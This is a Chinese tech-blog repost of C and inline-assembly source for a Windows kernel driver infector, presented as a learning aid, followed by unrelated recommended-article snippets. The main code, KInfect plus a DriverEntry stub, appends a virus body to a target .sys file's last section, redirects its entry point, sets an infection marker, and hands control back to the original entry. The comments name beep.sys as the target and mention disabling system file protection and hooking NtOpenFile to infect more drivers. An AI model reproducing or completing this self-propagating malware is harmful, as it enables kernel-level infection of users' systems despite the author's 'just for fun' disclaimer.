完整的驱动感染.code.编译通过

PE头之IMAGE_OPTIONAL_HEADER解析 目录预备知识一、相关实验二、C32Asm三、LordPE实验目的实验环境实验步骤一实验步骤二1.基地址与入口地址的查看2.子系统查看3.SizeOfImage验证实验步骤三 预备知识 一、相关实验 本实验要求您已经认真学习和完成了《IMAGE_DOS_HEADER解析》、《PE头之IMAGE_FILE_HEADER解析》。 二、C32Asm C32Asm是一款国产的16进制编辑器,可以十分方便的对二进制文件进行各种编辑操作,同时支持反汇编操作。 本系列实验主要使用C32Asm作为编辑器,同类的编辑工具还有W 阅读详情
完整的驱动感染.code.编译通过

/* 
* Module: InfectDriver.c 
* 
* Author : 老Y (源自kanxue,不过老Y放的code不完整,需要自己补充) 
* Fixer : sudami [sudami@163.com] 
* Time : 08/05/28 
* 
* Comment: 
* 
* 半年前一大牛在kanxue进行“驱动感染”扫盲,偶当时没搞明白.半年后突然想起来,于是 
* 尝试学习下.由于偶太菜,弄了几个小半天.终于调试成功. 关键点在于计算驱动自身的 
* 大小, 编译完驱动后,要用IDA打开它: 
* 1. 计算出第一个变量到call $+5 处的偏移量. 
* 2. 计算ulEndaddr到文件末尾的偏移量.一般就是INIT的那一小段dd. 
* 
* Description: 
* 
* 此驱动的功能很简单,可自己扩充,感染成功后,仅仅创建一个线程不断的打印信息. 
* 自己扩充功能时,要时刻记着对于全局变量和函数,都得重新定位,用作者提供的 
* KGetGlobalVarAddr() 函数即可. 对感染部分进行了详细的注释,对此很陌生的同学 
* 可以参考参考. 
***** 
* 
* 若想感染beep.sys、null.sys等系统文件,记得先去掉SFP.当然,像微点这样的主动防御 
* 软件已经不允许修改Driver目录下的sys了. 需要自己想办法; 
* 
* zjjmj2002大牛以前写过一个驱动感染的sys,小小的扭曲过,会挂钩NtOpenFile以实现感染 
* 用户访问的驱动文件. 很好很邪恶~~~~ - - 
***** 
* 
* Copyright (c) 2008 sudami. 
* Freely distributable in source or binary for noncommercial purposes. 
* This is not a virus, So take it easy, just for fun. 
* 
*/
 

发出来让还没接触过这些的同学少走些弯路,免得像偶一样调试半天才补完整~~   
切勿用于非法用途.  


2处关键部分如下: 

/** 
*@brief 感染指定的文件 
* 
*@param[in]  pwszFileName 要感染的驱动文件名 
*@param[in]  ulNewEntryPointDelta DriverEntry函数址与感染体首地址之间的差值 
*@return 返回STATUS_SUCCESS表示成功,其它值表示失败 
*/
 
int  KInfect( WCHAR  *pwszFileName,  ULONG  ulNewEntryPointDelta) 
{      
     __asm { 
     call  my_Next 
my_Next: 
     pop   eax  
     sub   eax , 5 
     mov  ulDelta, eax  
    }  
      
    ultmp = ulDelta -  0x14B7 ;  
    ulBodySize = ulEndAddr - ultmp +  0x34 ;  

    nRetCode = KPEInitFromFileW( 
        &pe, 
        pwszFileName 
        ); 
     if  (!NT_SUCCESS(nRetCode))  {  
               goto  Exit0; 
    } 
     if  (pe.pDosHdr->e_csum == 0x5748)  {  //感染标记   
                 goto  Exit0; 
    } 
    ulSecNum = KPEGetSecNum(&pe); 
     if  (!ulSecNum)  {  
                 goto  Exit0; 
    } 
     //  
     // 对齐  
     // Misc.VirtualSize - 文件中的节长度.即对齐前的节尺寸  
     // SizeOfRawData - 内存中的节长度,即对齐后的节尺寸  
     //  
    ulFileAlignment = pe.pNtHdr->OptionalHeader.FileAlignment;  // 段在文件中的对齐方式  
    ulSectionAlignment = pe.pNtHdr->OptionalHeader.SectionAlignment;  // 段加载后在内存中的对齐方式。  
    pe.pSecHdr[ulSecNum - 1].SizeOfRawData =  
        ((pe.pSecHdr[ulSecNum - 1].SizeOfRawData - 1) / ulFileAlignment + 1) * ulFileAlignment; 
    pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize =  
        ((pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize - 1) / ulFileAlignment + 1) * ulFileAlignment; 

     //  
     // PointerToRawData - 节基于文件的偏移量,可根据它在文件中找到节  
     // ulNewFilePos - 新的写入点地址,即最后一个节的末尾处  
     // e_ip - 初始的指令指针值, e_cs -  初始的代码段相对偏移量值  
     // AddressOfEntryPoint -  程序入口RVA  
     //  
     // 新的程序入口改为了感染体最后一个节,病毒体内的DriverEntry处  
     //  
    ulNewFilePos = pe.pSecHdr[ulSecNum - 1].SizeOfRawData + pe.pSecHdr[ulSecNum - 1].PointerToRawData; 
    pe.pDosHdr->e_ip = ( USHORT )(pe.pNtHdr->OptionalHeader.AddressOfEntryPoint & 0xFFFF); 
    pe.pDosHdr->e_cs = ( USHORT )( (pe.pNtHdr->OptionalHeader.AddressOfEntryPoint >> 16) & 0xFFFF); 
    pe.pNtHdr->OptionalHeader.AddressOfEntryPoint =  
        ulNewEntryPointDelta +  
        pe.pSecHdr[ulSecNum - 1].VirtualAddress +  
        pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize; 
     //  
     // 增加最后一个节的长度, + ulBodySize,为感染体自身的大小  
     //  
    pe.pSecHdr[ulSecNum - 1].SizeOfRawData += ulBodySize; 
    pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize += ulBodySize; 
     //  
     // 写感染标记  
     // e_csum 为校验和  
     //  
    pe.pDosHdr->e_csum = 0x5748;    
    nRetCode = KSeek(pe.hFile, ulNewFilePos); 
     if  (!NT_SUCCESS(nRetCode)) {  
             goto  Exit0; 
    } 
    
    nRetCode = KWriteFile( 
        pe.hFile, 
        ( PVOID )ultmp,  // 起始的Buffer地址,这里为病毒第一个全局变量的地址  
        ulBodySize, 
        &ulReturnLength 
        ); 
     if  (!NT_SUCCESS(nRetCode)) {  
               goto  Exit0; 
    } 

    pe.pNtHdr->OptionalHeader.SizeOfImage =  
        pe.pSecHdr[ulSecNum - 1].VirtualAddress + pe.pSecHdr[ulSecNum - 1].Misc.VirtualSize; 
    
    pe.pSecHdr[ulSecNum - 1].Characteristics |= (IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_WRITE); 
    pe.pSecHdr[ulSecNum - 1].Characteristics &= (~IMAGE_SCN_MEM_DISCARDABLE); 

     //  
     //  
     //  
    nRetCode = KSeek(pe.hFile, 0); 
     if  (!NT_SUCCESS(nRetCode)) {  
             goto  Exit0; 
    }  
    
    ..........  
Exit0: 
    KDelete(pe.pSecHdr); 
    pe.pSecHdr =  NULL ; 
    KDelete(pe.pNtHdr); 
    pe.pNtHdr =  NULL ; 
    KDelete(pe.pDosHdr); 
    pe.pDosHdr =  NULL ; 
    KClose(pe.hFile); 
     return  nResult; 
} 



//  
// 本驱动会感染System32\Drivers\beep.sys,感染方式为更改最后一个节的大小,  
// 然后写入感染体代码,被感染的驱动加载成功的表现为每隔一秒种使用DbgPrint输出I'm here  
// 可以在Windbg或DbgView查看  
//  
NTSTATUS  
DriverEntry( 
    IN PDRIVER_OBJECT DriverObject,  
    IN PUNICODE_STRING RegistryPath 
    ) 
{ 
    .... 
Exit0: 
     __asm  
    { 
         push  offset g_ulOrgEntryPoint 
         call  KGetGlobalVarAddr 
         mov   eax , [ eax ] 
         or   eax , eax  
         jz  Exit1 
         push   eax    // 保存eax - 原来的EOP  
         call  KCreateSystemThread   // 干我们想干的事情  
         pop   eax    // 恢复eax - 原来的EOP  
         pop      edi  
         pop      esi  
         pop      ebx  
         mov      esp ,  ebp  
         pop      ebp  
         jmp   eax    // JMP回程序的原入口继续执行  
    } 
Exit1:        
    
     __asm  
    { 
             mov      eax , 0C0000001h 
             pop      edi  
             pop      esi  
             pop      ebx  
             mov      esp ,  ebp  
             pop      ebp  
             retn     8 
    } 
} 


名称:  Snap1.gif查看次数: 6384文件大小:  11.9 KB  
Wireshark下载、Wireshark使用、Wireshark抓包、ARP抓包、ICMP抓包、TCP抓包、HTTP抓包 混杂模式概述:混杂模式就是接收所有经过网卡的数据包,包括不是发给本机的包,即不验证MAC地址。默认就是混杂模式。普通模式概述:普通模式下网卡只接收发给本机的包(包括广播包)传递给上层程序,其它的包一律丢弃。一般来说,混杂模式不会影响网卡的正常工作,多在网络监听工具上使用,默认是混杂模式。四次挥手,断开连接1.服务端FIN :Seq = a , Ack = b #我想断开连接2.客户端ACK:Seq = b, Ack = a+1 #收到,断开吧。 阅读详情

相关推荐

WireShark 抓包及常用协议分析

Wireshark 是一个开源的网络数据包分析软件,它可以用于捕获和分析网络上的数据流量。Wireshark使用WinPCAP作为接口直接与网卡进行数据报文交换。

lin__ying的博客 2259

Windows C++ 程序的入口点

第一个问题,什么是入口点? 对于开发者来说,程序的入口点就是程序执行的时候第一个执行的函数。 对于C++程序,常见的入口点有: 1.main 2.WinMain 3.DllMain 对于操作系统来说,程序的入口点就是把程序装载到内存后,第一条命令开始的地方。 操作系统(Windows)如何确定入口点呢? 首先,Windows下所有可执行程序都是PE格式,PE其中一个组成部分 可选头,...

iBliBiliBelieve的博客 1万+

Endnote 导入参考文献的时候,格式错误太多了。et.al错误,国标GBT7714在endnote中的详细配置教程,适用于本科,硕士论文文献插入的模板

EndNote插入文献常遇到以下错误主要如下: 等、et al不分; 英文作者全名大写; 期刊名字使用了缩写(图片里没有体现;卷号、期号缺失时出现乱码,多了半个括号;页码范围略去了相同部分;没有悬挂缩进,本文全部解决,全网最细

sakura的博客 3万+

PE结构学习笔记--关于AddressOfEntryPoint位置在文件中怎么确定问题

第一次学习PE结构,也不知道有没有更好的办法。 1、AddressOfEntryPoint 这个成员在OptionalHeader里面,OptionalHeader的类型是一个IMAGE_OPTIONAL_HEADER32结构。该结构总共有31个成员,占的大小为224字节。成员7就是AddressOfEntryPoint。AddressOfEntryPoint占4个字节。它表示的是代码入口的R

cogbee的专栏 7091

ConvNeXt 系列改进:引入大核注意力(LKA)替换 7×7 深度卷积,涨点 2.1%

LSKA替换7×7深度卷积,在ImageNet分类任务上实现2.1%的显著提升,参数量仅增加1M。LSKA的四层1D分解将计算复杂度从O(k²)降至O(k),21×21大核的计算量仅相当于原版7×7的1.7倍,实现了感受野与计算成本的完美平衡。部署友好度极高:LSKA模块在TensorRT FP16量化后延迟仅1.2ms,精度损失<0.1%,远优于Transformer类模型。下游任务全面领先。

ZXSXJ的博客 700

AutoSAR系列讲解(深入篇)14.7-Mcal Adc配置(上)

详细讲解了ADC的各个配置项的作用

雪云飞星的博客 1万+

驱动开发:内核运用LoadImage屏蔽驱动

强制返回的方法意外,屏蔽驱动加载还可以使用另一种方式实现禁用模块加载,例如当驱动被加载首先回调函数内可以接收到,当接收到以后直接调用。我们看下驱动加载器,提示的信息是拒绝访问,因为这个驱动其实是加载了的,只是入口处被填充了返回而已。加载这段驱动程序,当有DLL文件被加载后,则会强制弹出,从而实现屏蔽模块加载的作用。无法实现参数控制,而如果我们想要控制特定驱动的加载则需要自己做一些事情来实现,如下。节点,该节点里面就是被加载驱动入口,通过汇编在驱动头部写入。返回指令,即可实现屏蔽加载特定驱动文件。

微软技术分享 1万+

OceanBase数据迁移(OMS)深度解析:异构数据库迁移方案、核心原理与实战优化指南

OceanBase迁移服务(OMS)提供异构数据库间全量+增量数据迁移与实时同步能力,核心价值在于保障业务连续性、数据一致性和异构兼容性。其分层架构包含服务接入层、流程编排层和组件链路层,支持Oracle/MySQL/DB2等与OceanBase的数据交互。关键技术包括DBCat引擎处理结构转换、并行分片实现全量迁移、以及日志解析保障增量同步。OMS通过类型映射、批量提交和断点续传等优化手段,确保迁移过程高效可靠,典型应用于去O迁移、数据库升级等场景。

本博客聚焦 YOLOv11 全流程落地,涵盖架构优化、数据集处理、训练技巧与多场景部署,兼及国产数据库、Java 开发与 AI 模型应用,内容兼顾理论与工程实践,为开发者提供系统干货,助力高效提升技术能力。 849

浅谈代码段加密原理(防止静态分析)

在软件安全里,有一种保护手段叫加密,一般情况下都是为代码段加密,使原本的代码无法被静态分析,只能动态调试。 涉及到的知识有:PE文件结构,代码重定位,shellcode。 代码加密时可用各种算法组合起来使用,只要保证解密时用逆推的方法还原成源代码即可,下面例子当中用的是最简单的异或加密 由于博主也是第一次接触这个代码段加密,有写的不对或者不够的地方,还麻烦大佬指正。感谢!! 思路: 1.获取代码段内容,进行加密后再覆盖回去 2.把重定位去掉,目的使重定位发生的时机在解密之后,否则解密的数据是已经被重定位过的

Mentally_slow的博客 907

流体动力学仿真软件:Star-CCM+_(19).软件定制与脚本编写

自定义插件开发可以扩展Star-CCM+的功能,实现特定的仿真需求。插件开发通常需要使用Java语言,并且需要对Star-CCM+的API有深入的了解。以下是一个简单的Java插件示例,展示如何创建一个自定义插件来显示仿真项目的信息。// 导入必要的Star-CCM+ API import star . ccm . product . CCMProject;// 自定义插件类 public class CustomPlugin {// 插件主方法 public void run() {

kkchenjj的博客 937

Transformer从菜鸟到新手(一)

从本文开始回顾一下Transformer的原理与实现细节,包括分词算法BPE的实现。最终利用从零实现的Transformer模型进行英中翻译。

日积月累,天道酬勤 2125

WireShark如何抓包,各种协议(HTTP、ARP、ICMP)的过滤或分析,用WireShark实现TCP三次握手和四次挥手

wireshark是非常流行的网络封包分析软件,功能十分强大。可以截取各种网络封包,显示网络封包的详细信息。常用来检测网络问题、攻击溯源、或者分析底层通信机制。

宝藏女孩的成长日记 2万+

芒果YOLO11改进21:检测头Head篇:即插即用|新颖轻量化非对称多级压缩LADH检测头,原创改进适配YOLOv8高效检测头,检测头新颖性改进,全网首发独一份

检测头Head篇:即插即用|新颖轻量化非对称多级压缩LADH检测头,原创改进适配YOLOv8高效检测头,检测头新颖性改进,全网首发独一份

包括YOLOv5、YOLOv7、YOLOv8等模型改进 792

实验:Wireshark 抓包软件的使用及MAC协议分析

实验目的 1、理解抓包软件的工作原理; 2、掌握Wireshark软件的安装和使用方法。 3、掌握MAC协议分析的技术与方法 实验任务 1、安装和运行Wireshark软件; 2、使用Wireshark软件抓取网络报文; 3、选取两个以上的以太网报文进行深入对比分析。 实验环境及工具 硬件:连接互联网的PC机; 软件:Wireshark 3.6.2。 实验记录(尽可能详细记录每个实验任务的过程与现象) 1、安装和运行Wireshark软件; 到官网下载网络抓包工具Wireshark,可以从https://w

qq_45140146的博客 1万+

基于Simulink的自适应控制(Adaptive Control)电励磁同步电动机

目录基于Simulink的自适应控制(Adaptive Control)电励磁同步电动机项目实例1. 项目背景2. 系统架构2.1 电励磁同步电动机模型2.2 三相逆变器模型2.3 自适应控制器(Adaptive Controller)2.4 系统框图3. 模型设计3.1 创建Simulink模型3.2 自适应控制(Adaptive Control)设计3.3 仿真环境搭建4. 参数优化4.1 自动调优5. 实际应用案例5.1 工业驱动系统5.2 风力发电系统6. 结论进一步优化建议需求分析电励磁同步电动机

MHD0815的博客 266

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

mac安装并使用wireshark

mac安装并使用wireshark

weixin_45565886的博客 2万+

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

Wireshark抓包过滤

简介 Wireshark是windows下的抓包工具。 本篇主要记录捕获表达式和过滤表达式,方便后面使用和参考。 Wireshark工具介绍可参考:https://www.cnblogs.com/doit8791/p/5730595.html 捕获过滤器 使用wireshark时,将会得到大量的冗余信息,在几千甚至几万条记录中,以至于很难找到自己需要的部分。搞得晕头转向。 过滤器会帮助我们在大量的...

mayue_web的博客 1万+

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

wireshark 抓包过滤器使用

整理自陈鑫杰老师的wireshark教程课 文章目录wireshark 抓包过滤器一、抓包过滤器过滤mac地址:过滤IP地址:过滤端口:过滤协议:二、显示过滤器比较符:逻辑操作符:ip地址:端口过滤:协议过滤: wireshark 抓包过滤器 过滤器分为抓包过滤器和显示过滤器,抓包过滤器会将不满足过滤条件的包丢弃,只保留满足条件的包,而显示过滤器则是对已抓取的包做过滤,过滤出满足条件的包。 显...

老夏家的云 5178

使用Wireshark抓包,并进行协议分析

使用wireshark抓包工具分析:物理层、数据链路层层(以太网2)、网络层协议(IP)的格式与内容

qq_44640357的博客 4194

【网络】Wireshark对远程主机抓包|过滤|原理

目录 对远程Linux主机进行抓包 对Windows主机抓包 Wireshark是一款非常流行好用的抓包软件 ,那么我们能否在本地运行Wireshark来对远程主机进行抓包呢,Wireshark是为我们提供了这项服务的,只需要为远程主机安装好rpcapd服务即可。 对远程Linux主机进行抓包 01 Linux rpcapd服务的安装 yum install glibc-static gcc flex byacc -y wget http://www.winpcap.org/install/

我的笔记本 1万+

WireShark抓包及常用协议分析

WireShark抓包及常用协议分析

weixin_68281676的博客 7923

Wireshark抓包分析ARP协议

3)记录一个本网段的IP,然后 arp -d 清空ARP表4)cmd执行 arp -a,验证ARP表已被清空(第五步会解释为什么要清空)5)Wireshark开启抓包后,ping 本网段的IP。

2401_86640747的博客 3268

抓包工具之Wireshark

在Wireshark的⻚⾯⾥,可以更加直观的分析数据包,不仅展示各个⽹络包的头部信息,还会⽤不同的颜⾊来区分不同的协议。接着,在⽹络包列表中选择某⼀个⽹络包后,在其下⾯的⽹络包详情中,可以更清楚的看到,这个⽹络包在协议栈各层的详细信息。tcp.dstport==80:只显示TCP协议的目的主机端口为80的数据包列表。tcp.srcport==80:只显示TCP协议的源主机端口为80的数据包列表。tcp.port==80:显示源主机或者目的主机端口为80的数据包列表。

weixin_40332490的博客 2429

Wireshark简单抓包

Wireshark。

qq_49485327的博客 1万+
上一篇: 驱动感染技术扫盲(C描述)
下一篇: shadow ssdt学习笔记(一)
M-先生
博客等级 码龄17年 60粉丝 6原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值